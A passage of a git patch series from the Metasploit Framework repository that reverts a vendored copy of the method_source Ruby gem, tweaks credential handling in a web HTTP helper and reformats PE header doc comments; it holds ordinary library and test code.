2 spaces -def hello; :hello; end - -# a -# b -def comment_test1; end - - # a - # b -def comment_test2; end - -# a -# -# b -def comment_test3; end - -# a - -# b -def comment_test4; end - - -# a - # b - # c -# d -def comment_test5; end - -# This is a comment for MyLambda -MyLambda = lambda { :lambda } -MyProc = Proc.new { :proc } - diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 2ad3dbcb19..00ee6c1e5b 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -107,6 +107,7 @@ class Auxiliary::Web::HTTP {}, opts[:target].ssl, 'SSLv23', + nil, username, password ) @@ -299,10 +300,8 @@ class Auxiliary::Web::HTTP opts['data'] = body if body c = connect - if opts['username'] and opts['username'] != '' - c.username = opts['username'].to_s - c.password = opts['password'].to_s - end + c.username = username + c.password = password Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out From 1407886e83a5427388f3c8046337df0bfea85fd7 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 5 Mar 2013 12:34:51 -0600 Subject: [PATCH 295/341] Revert "fix a major typo snaffu" This reverts commit c639de7ccc2806110e30530aec1a689a8b293964. --- .../1.9.1/gems/method_source-0.7.1/.gemtest | 0 .../gems/method_source-0.7.1/.travis.yml | 17 ++ .../1.9.1/gems/method_source-0.7.1/.yardopts | 1 + .../1.9.1/gems/method_source-0.7.1/Gemfile | 2 + .../1.9.1/gems/method_source-0.7.1/LICENSE | 25 +++ .../gems/method_source-0.7.1/README.markdown | 91 ++++++++++ .../1.9.1/gems/method_source-0.7.1/Rakefile | 76 ++++++++ .../method_source-0.7.1/lib/method_source.rb | 163 ++++++++++++++++++ .../lib/method_source/source_location.rb | 138 +++++++++++++++ .../lib/method_source/version.rb | 3 + .../method_source-0.7.1/method_source.gemspec | 33 ++++ .../gems/method_source-0.7.1/test/test.rb | 122 +++++++++++++ .../method_source-0.7.1/test/test_helper.rb | 50 ++++++ lib/msf/core/auxiliary/web/http.rb | 7 +- 14 files changed, 725 insertions(+), 3 deletions(-) create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest new file mode 100644 index 0000000000..e69de29bb2 diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml new file mode 100644 index 0000000000..ba51bba6b2 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml @@ -0,0 +1,17 @@ +rvm: + - 1.8.7 + - 1.9.2 + - 1.9.3 + - ree + - rbx-18mode + - rbx-19mode + - jruby + +notifications: + irc: "irc.freenode.org#pry" + recipients: + - jrmair@gmail.com + +branches: + only: + - master diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts new file mode 100644 index 0000000000..a4e7838016 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts @@ -0,0 +1 @@ +-m markdown diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile new file mode 100644 index 0000000000..e45e65f871 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile @@ -0,0 +1,2 @@ +source :rubygems +gemspec diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE new file mode 100644 index 0000000000..d1a50d62d0 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE @@ -0,0 +1,25 @@ +License +------- + +(The MIT License) + +Copyright (c) 2011 John Mair (banisterfiend) + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +'Software'), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown new file mode 100644 index 0000000000..d91b810a3b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown @@ -0,0 +1,91 @@ +method_source +============= + +(C) John Mair (banisterfiend) 2011 + +_retrieve the sourcecode for a method_ + +*NOTE:* This simply utilizes `Method#source_location`; it + does not access the live AST. + +`method_source` is a utility to return a method's sourcecode as a +Ruby string. Also returns `Proc` and `Lambda` sourcecode. + +Method comments can also be extracted using the `comment` method. + +It is written in pure Ruby (no C). + +* Some Ruby 1.8 support now available. +* Support for MRI, RBX, JRuby, REE + +`method_source` provides the `source` and `comment` methods to the `Method` and +`UnboundMethod` and `Proc` classes. + +* Install the [gem](https://rubygems.org/gems/method_source): `gem install method_source` +* Read the [documentation](http://rdoc.info/github/banister/method_source/master/file/README.markdown) +* See the [source code](http://github.com/banister/method_source) + +Example: display method source +------------------------------ + + Set.instance_method(:merge).source.display + # => + def merge(enum) + if enum.instance_of?(self.class) + @hash.update(enum.instance_variable_get(:@hash)) + else + do_with_enum(enum) { |o| add(o) } + end + + self + end + +Example: display method comments +-------------------------------- + + Set.instance_method(:merge).comment.display + # => + # Merges the elements of the given enumerable object to the set and + # returns self. + +Limitations: +------------ + +* Occasional strange behaviour in Ruby 1.8 +* Cannot return source for C methods. +* Cannot return source for dynamically defined methods. + +Special Thanks +-------------- + +[Adam Sanderson](https://github.com/adamsanderson) for `comment` functionality. + +[Dmitry Elastic](https://github.com/dmitryelastic) for the brilliant Ruby 1.8 `source_location` hack. + +[Samuel Kadolph](https://github.com/samuelkadolph) for the JRuby 1.8 `source_location`. + +License +------- + +(The MIT License) + +Copyright (c) 2011 John Mair (banisterfiend) + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +'Software'), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile new file mode 100644 index 0000000000..92c0234f3b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile @@ -0,0 +1,76 @@ +dlext = Config::CONFIG['DLEXT'] +direc = File.dirname(__FILE__) + +require 'rake/clean' +require 'rake/gempackagetask' +require "#{direc}/lib/method_source/version" + +CLOBBER.include("**/*.#{dlext}", "**/*~", "**/*#*", "**/*.log", "**/*.o") +CLEAN.include("ext/**/*.#{dlext}", "ext/**/*.log", "ext/**/*.o", + "ext/**/*~", "ext/**/*#*", "ext/**/*.obj", "**/*.rbc", + "ext/**/*.def", "ext/**/*.pdb", "**/*_flymake*.*", "**/*_flymake") + +def apply_spec_defaults(s) + s.name = "method_source" + s.summary = "retrieve the sourcecode for a method" + s.version = MethodSource::VERSION + s.date = Time.now.strftime '%Y-%m-%d' + s.author = "John Mair (banisterfiend)" + s.email = 'jrmair@gmail.com' + s.description = s.summary + s.require_path = 'lib' + + s.add_development_dependency("bacon","~>1.1.0") + s.add_development_dependency("rake", "~>0.9") + s.homepage = "http://banisterfiend.wordpress.com" + s.has_rdoc = 'yard' + s.files = `git ls-files`.split("\n") + s.test_files = `git ls-files -- test/*`.split("\n") +end + +task :test do + sh "bacon -q #{direc}/test/test.rb" +end + +desc "reinstall gem" +task :reinstall => :gems do + sh "gem uninstall method_source" rescue nil + sh "gem install #{direc}/pkg/method_source-#{MethodSource::VERSION}.gem" +end + +desc "Set up and run tests" +task :default => [:test] + +namespace :ruby do + spec = Gem::Specification.new do |s| + apply_spec_defaults(s) + s.platform = Gem::Platform::RUBY + end + + Rake::GemPackageTask.new(spec) do |pkg| + pkg.need_zip = false + pkg.need_tar = false + end + + desc "Generate gemspec file" + task :gemspec do + File.open("#{spec.name}.gemspec", "w") do |f| + f << spec.to_ruby + end + end +end + +desc "build all platform gems at once" +task :gems => [:rmgems, "ruby:gem"] + +desc "remove all platform gems" +task :rmgems => ["ruby:clobber_package"] + +desc "build and push latest gems" +task :pushgems => :gems do + chdir("#{direc}/pkg") do + Dir["*.gem"].each do |gemfile| + sh "gem push #{gemfile}" + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb new file mode 100644 index 0000000000..9a3c325f75 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb @@ -0,0 +1,163 @@ +# (C) John Mair (banisterfiend) 2011 +# MIT License + +direc = File.dirname(__FILE__) + +require "#{direc}/method_source/version" +require "#{direc}/method_source/source_location" + +module MethodSource + # Determine if a string of code is a valid Ruby expression. + # @param [String] code The code to validate. + # @return [Boolean] Whether or not the code is a valid Ruby expression. + # @example + # valid_expression?("class Hello") #=> false + # valid_expression?("class Hello; end") #=> true + def self.valid_expression?(str) + if defined?(Rubinius::Melbourne19) && RUBY_VERSION =~ /^1\.9/ + Rubinius::Melbourne19.parse_string(str) + elsif defined?(Rubinius::Melbourne) + Rubinius::Melbourne.parse_string(str) + else + catch(:valid) { + eval("BEGIN{throw :valid}\n#{str}") + } + end + true + rescue SyntaxError + false + end + + # Helper method responsible for extracting method body. + # Defined here to avoid polluting `Method` class. + # @param [Array] source_location The array returned by Method#source_location + # @return [File] The opened source file + def self.source_helper(source_location) + return nil if !source_location.is_a?(Array) + + file_name, line = source_location + File.open(file_name) do |file| + (line - 1).times { file.readline } + + code = "" + loop do + val = file.readline + code << val + + return code if valid_expression?(code) + end + end + end + + # Helper method responsible for opening source file and buffering up + # the comments for a specified method. Defined here to avoid polluting + # `Method` class. + # @param [Array] source_location The array returned by Method#source_location + # @return [String] The comments up to the point of the method. + def self.comment_helper(source_location) + return nil if !source_location.is_a?(Array) + + file_name, line = source_location + File.open(file_name) do |file| + buffer = "" + (line - 1).times do + line = file.readline + # Add any line that is a valid ruby comment, + # but clear as soon as we hit a non comment line. + if (line =~ /^\s*#/) || (line =~ /^\s*$/) + buffer << line.lstrip + else + buffer.replace("") + end + end + + buffer + end + end + + # This module is to be included by `Method` and `UnboundMethod` and + # provides the `#source` functionality + module MethodExtensions + + # We use the included hook to patch Method#source on rubinius. + # We need to use the included hook as Rubinius defines a `source` + # on Method so including a module will have no effect (as it's + # higher up the MRO). + # @param [Class] klass The class that includes the module. + def self.included(klass) + if klass.method_defined?(:source) && Object.const_defined?(:RUBY_ENGINE) && + RUBY_ENGINE =~ /rbx/ + + klass.class_eval do + orig_source = instance_method(:source) + + define_method(:source) do + begin + super + rescue + orig_source.bind(self).call + end + end + + end + end + end + + # Return the sourcecode for the method as a string + # (This functionality is only supported in Ruby 1.9 and above) + # @return [String] The method sourcecode as a string + # @example + # Set.instance_method(:clear).source.display + # => + # def clear + # @hash.clear + # self + # end + def source + if respond_to?(:source_location) + source = MethodSource.source_helper(source_location) + + raise "Cannot locate source for this method: #{name}" if !source + else + raise "#{self.class}#source not supported by this Ruby version (#{RUBY_VERSION})" + end + + source + end + + # Return the comments associated with the method as a string. + # (This functionality is only supported in Ruby 1.9 and above) + # @return [String] The method's comments as a string + # @example + # Set.instance_method(:clear).comment.display + # => + # # Removes all elements and returns self. + def comment + if respond_to?(:source_location) + comment = MethodSource.comment_helper(source_location) + + raise "Cannot locate source for this method: #{name}" if !comment + else + raise "#{self.class}#comment not supported by this Ruby version (#{RUBY_VERSION})" + end + + comment + end + end +end + +class Method + include MethodSource::SourceLocation::MethodExtensions + include MethodSource::MethodExtensions +end + +class UnboundMethod + include MethodSource::SourceLocation::UnboundMethodExtensions + include MethodSource::MethodExtensions +end + +class Proc + include MethodSource::SourceLocation::ProcExtensions + include MethodSource::MethodExtensions +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb new file mode 100644 index 0000000000..9161854819 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb @@ -0,0 +1,138 @@ +module MethodSource + module ReeSourceLocation + # Ruby enterprise edition provides all the information that's + # needed, in a slightly different way. + def source_location + [__file__, __line__] rescue nil + end + end + + module SourceLocation + module MethodExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ + require 'java' + + # JRuby version source_location hack + # @return [Array] A two element array containing the source location of the method + def source_location + to_java.source_location(Thread.current.to_java.getContext()) + end + else + + + def trace_func(event, file, line, id, binding, classname) + return unless event == 'call' + set_trace_func nil + + @file, @line = file, line + raise :found + end + + private :trace_func + + # Return the source location of a method for Ruby 1.8. + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # method definition is found. + def source_location + if @file.nil? + args =[*(1..(arity<-1 ? -arity-1 : arity ))] + + set_trace_func method(:trace_func).to_proc + call(*args) rescue nil + set_trace_func nil + @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file)) + end + return [@file, @line] if File.exist?(@file.to_s) + end + end + end + + module ProcExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ + + # Return the source location for a Proc (Rubinius only) + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # proc definition is found. + def source_location + [block.file.to_s, block.line] + end + else + + # Return the source location for a Proc (in implementations + # without Proc#source_location) + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # proc definition is found. + def source_location + self.to_s =~ /@(.*):(\d+)/ + [$1, $2.to_i] + end + end + end + + module UnboundMethodExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ + require 'java' + + # JRuby version source_location hack + # @return [Array] A two element array containing the source location of the method + def source_location + to_java.source_location(Thread.current.to_java.getContext()) + end + + else + + + # Return the source location of an instance method for Ruby 1.8. + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # method definition is found. + def source_location + klass = case owner + when Class + owner + when Module + method_owner = owner + Class.new { include(method_owner) } + end + + # deal with immediate values + case + when klass == Symbol + return :a.method(name).source_location + when klass == Fixnum + return 0.method(name).source_location + when klass == TrueClass + return true.method(name).source_location + when klass == FalseClass + return false.method(name).source_location + when klass == NilClass + return nil.method(name).source_location + end + + begin + Object.instance_method(:method).bind(klass.allocate).call(name).source_location + rescue TypeError + + # Assume we are dealing with a Singleton Class: + # 1. Get the instance object + # 2. Forward the source_location lookup to the instance + instance ||= ObjectSpace.each_object(owner).first + Object.instance_method(:method).bind(instance).call(name).source_location + end + end + end + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb new file mode 100644 index 0000000000..b8142bfaef --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb @@ -0,0 +1,3 @@ +module MethodSource + VERSION = "0.7.1" +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec new file mode 100644 index 0000000000..83a727d6f6 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec @@ -0,0 +1,33 @@ +# -*- encoding: utf-8 -*- + +Gem::Specification.new do |s| + s.name = "method_source" + s.version = "0.7.0" + + s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= + s.authors = ["John Mair (banisterfiend)"] + s.date = "2012-01-01" + s.description = "retrieve the sourcecode for a method" + s.email = "jrmair@gmail.com" + s.files = [".gemtest", ".travis.yml", ".yardopts", "Gemfile", "LICENSE", "README.markdown", "Rakefile", "lib/method_source.rb", "lib/method_source/source_location.rb", "lib/method_source/version.rb", "method_source.gemspec", "test/test.rb", "test/test_helper.rb"] + s.homepage = "http://banisterfiend.wordpress.com" + s.require_paths = ["lib"] + s.rubygems_version = "1.8.10" + s.summary = "retrieve the sourcecode for a method" + s.test_files = ["test/test.rb", "test/test_helper.rb"] + + if s.respond_to? :specification_version then + s.specification_version = 3 + + if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then + s.add_development_dependency(%q, ["~> 1.1.0"]) + s.add_development_dependency(%q, ["~> 0.9"]) + else + s.add_dependency(%q, ["~> 1.1.0"]) + s.add_dependency(%q, ["~> 0.9"]) + end + else + s.add_dependency(%q, ["~> 1.1.0"]) + s.add_dependency(%q, ["~> 0.9"]) + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb new file mode 100644 index 0000000000..425e56acf9 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb @@ -0,0 +1,122 @@ +direc = File.dirname(__FILE__) + +require 'rubygems' +require 'bacon' +require "#{direc}/../lib/method_source" +require "#{direc}/test_helper" + +describe MethodSource do + + describe "source_location (testing 1.8 implementation)" do + it 'should return correct source_location for a method' do + method(:hello).source_location.first.should =~ /test_helper/ + end + + it 'should not raise for immediate instance methods' do + [Symbol, Fixnum, TrueClass, FalseClass, NilClass].each do |immediate_class| + lambda { immediate_class.instance_method(:to_s).source_location }.should.not.raise + end + end + + it 'should not raise for immediate methods' do + [:a, 1, true, false, nil].each do |immediate| + lambda { immediate.method(:to_s).source_location }.should.not.raise + end + end + end + + before do + @hello_module_source = " def hello; :hello_module; end\n" + @hello_singleton_source = "def $o.hello; :hello_singleton; end\n" + @hello_source = "def hello; :hello; end\n" + @hello_comment = "# A comment for hello\n# It spans two lines and is indented by 2 spaces\n" + @lambda_comment = "# This is a comment for MyLambda\n" + @lambda_source = "MyLambda = lambda { :lambda }\n" + @proc_source = "MyProc = Proc.new { :proc }\n" + end + + it 'should define methods on Method and UnboundMethod and Proc' do + Method.method_defined?(:source).should == true + UnboundMethod.method_defined?(:source).should == true + Proc.method_defined?(:source).should == true + end + + describe "Methods" do + it 'should return source for method' do + method(:hello).source.should == @hello_source + end + + it 'should return source for a method defined in a module' do + M.instance_method(:hello).source.should == @hello_module_source + end + + it 'should return source for a singleton method as an instance method' do + class << $o; self; end.instance_method(:hello).source.should == @hello_singleton_source + end + + it 'should return source for a singleton method' do + $o.method(:hello).source.should == @hello_singleton_source + end + + + it 'should return a comment for method' do + method(:hello).comment.should == @hello_comment + end + + + if !is_rbx? + it 'should raise for C methods' do + lambda { method(:puts).source }.should.raise RuntimeError + end + end + end + + # if RUBY_VERSION =~ /1.9/ || is_rbx? + describe "Lambdas and Procs" do + it 'should return source for proc' do + MyProc.source.should == @proc_source + end + + it 'should return an empty string if there is no comment' do + MyProc.comment.should == '' + end + + it 'should return source for lambda' do + MyLambda.source.should == @lambda_source + end + + it 'should return comment for lambda' do + MyLambda.comment.should == @lambda_comment + end + end + # end + describe "Comment tests" do + before do + @comment1 = "# a\n# b\n" + @comment2 = "# a\n# b\n" + @comment3 = "# a\n#\n# b\n" + @comment4 = "# a\n# b\n" + @comment5 = "# a\n# b\n# c\n# d\n" + end + + it "should correctly extract multi-line comments" do + method(:comment_test1).comment.should == @comment1 + end + + it "should correctly strip leading whitespace before comments" do + method(:comment_test2).comment.should == @comment2 + end + + it "should keep empty comment lines" do + method(:comment_test3).comment.should == @comment3 + end + + it "should ignore blank lines between comments" do + method(:comment_test4).comment.should == @comment4 + end + + it "should align all comments to same indent level" do + method(:comment_test5).comment.should == @comment5 + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb new file mode 100644 index 0000000000..53da4e519c --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb @@ -0,0 +1,50 @@ +def is_rbx? + defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ +end + +def jruby? + defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ +end + + +module M + def hello; :hello_module; end +end + +$o = Object.new +def $o.hello; :hello_singleton; end + +# A comment for hello + + # It spans two lines and is indented by 2 spaces +def hello; :hello; end + +# a +# b +def comment_test1; end + + # a + # b +def comment_test2; end + +# a +# +# b +def comment_test3; end + +# a + +# b +def comment_test4; end + + +# a + # b + # c +# d +def comment_test5; end + +# This is a comment for MyLambda +MyLambda = lambda { :lambda } +MyProc = Proc.new { :proc } + diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 00ee6c1e5b..2ad3dbcb19 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -107,7 +107,6 @@ class Auxiliary::Web::HTTP {}, opts[:target].ssl, 'SSLv23', - nil, username, password ) @@ -300,8 +299,10 @@ class Auxiliary::Web::HTTP opts['data'] = body if body c = connect - c.username = username - c.password = password + if opts['username'] and opts['username'] != '' + c.username = opts['username'].to_s + c.password = opts['password'].to_s + end Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out From f5c23e4b0208617b12aa1cfe633fd203d12d5664 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 5 Mar 2013 12:35:21 -0600 Subject: [PATCH 296/341] fix typo snaffu --- lib/msf/core/auxiliary/web/http.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 2ad3dbcb19..166370abbc 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -107,6 +107,7 @@ class Auxiliary::Web::HTTP {}, opts[:target].ssl, 'SSLv23', + nil, username, password ) From a64edb33c4742ff376eaf3fdcd8b35abe364e5d6 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 5 Mar 2013 14:34:11 -0600 Subject: [PATCH 297/341] Make code sections look right in docs --- lib/rex/peparsey/pebase.rb | 588 ++++++++++++++++++------------------- 1 file changed, 286 insertions(+), 302 deletions(-) diff --git a/lib/rex/peparsey/pebase.rb b/lib/rex/peparsey/pebase.rb index cb0af219e2..bf268e6b36 100644 --- a/lib/rex/peparsey/pebase.rb +++ b/lib/rex/peparsey/pebase.rb @@ -12,34 +12,31 @@ class PeBase # #define IMAGE_DOS_SIGNATURE 0x5A4D // MZ - IMAGE_DOS_SIGNATURE = 0x5a4d - # - # typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header - # WORD e_magic; // Magic number - # WORD e_cblp; // Bytes on last page of file - # WORD e_cp; // Pages in file - # WORD e_crlc; // Relocations - # WORD e_cparhdr; // Size of header in paragraphs - # WORD e_minalloc; // Minimum extra paragraphs needed - # WORD e_maxalloc; // Maximum extra paragraphs needed - # WORD e_ss; // Initial (relative) SS value - # WORD e_sp; // Initial SP value - # WORD e_csum; // Checksum - # WORD e_ip; // Initial IP value - # WORD e_cs; // Initial (relative) CS value - # WORD e_lfarlc; // File address of relocation table - # WORD e_ovno; // Overlay number - # WORD e_res[4]; // Reserved words - # WORD e_oemid; // OEM identifier (for e_oeminfo) - # WORD e_oeminfo; // OEM information; e_oemid specific - # WORD e_res2[10]; // Reserved words - # LONG e_lfanew; // File address of new exe header - # } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; - # - IMAGE_DOS_HEADER_SIZE = 64 + # Struct + # typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header + # WORD e_magic; // Magic number + # WORD e_cblp; // Bytes on last page of file + # WORD e_cp; // Pages in file + # WORD e_crlc; // Relocations + # WORD e_cparhdr; // Size of header in paragraphs + # WORD e_minalloc; // Minimum extra paragraphs needed + # WORD e_maxalloc; // Maximum extra paragraphs needed + # WORD e_ss; // Initial (relative) SS value + # WORD e_sp; // Initial SP value + # WORD e_csum; // Checksum + # WORD e_ip; // Initial IP value + # WORD e_cs; // Initial (relative) CS value + # WORD e_lfarlc; // File address of relocation table + # WORD e_ovno; // Overlay number + # WORD e_res[4]; // Reserved words + # WORD e_oemid; // OEM identifier (for e_oeminfo) + # WORD e_oeminfo; // OEM information; e_oemid specific + # WORD e_res2[10]; // Reserved words + # LONG e_lfanew; // File address of new exe header + # } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; IMAGE_DOS_HEADER = Rex::Struct2::CStructTemplate.new( [ 'uint16v', 'e_magic', IMAGE_DOS_SIGNATURE ], [ 'uint16v', 'e_cblp', 0 ], @@ -142,31 +139,29 @@ class PeBase return DosHeader.new(rawdata) end - # - # typedef struct _IMAGE_FILE_HEADER { - # WORD Machine; - # WORD NumberOfSections; - # DWORD TimeDateStamp; - # DWORD PointerToSymbolTable; - # DWORD NumberOfSymbols; - # WORD SizeOfOptionalHeader; - # WORD Characteristics; - # } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; - # # #define IMAGE_NT_SIGNATURE 0x00004550 // PE00 - # #define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386. - # #define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64 - # #define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64 - # #define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8) - # #define IMAGE_SIZEOF_FILE_HEADER 20 - # - IMAGE_NT_SIGNATURE = 0x00004550 + # #define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386. IMAGE_FILE_MACHINE_I386 = 0x014c + # #define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64 IMAGE_FILE_MACHINE_IA64 = 0x0200 + # #define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64 IMAGE_FILE_MACHINE_ALPHA64 = 0x0284 + # #define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8) IMAGE_FILE_MACHINE_AMD64 = 0x8664 + # #define IMAGE_SIZEOF_FILE_HEADER 20 IMAGE_FILE_HEADER_SIZE = 20+4 # because we include the signature + + # C struct defining the PE file header + # typedef struct _IMAGE_FILE_HEADER { + # WORD Machine; + # WORD NumberOfSections; + # DWORD TimeDateStamp; + # DWORD PointerToSymbolTable; + # DWORD NumberOfSymbols; + # WORD SizeOfOptionalHeader; + # WORD Characteristics; + # } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; IMAGE_FILE_HEADER = Rex::Struct2::CStructTemplate.new( # not really in the header, but easier 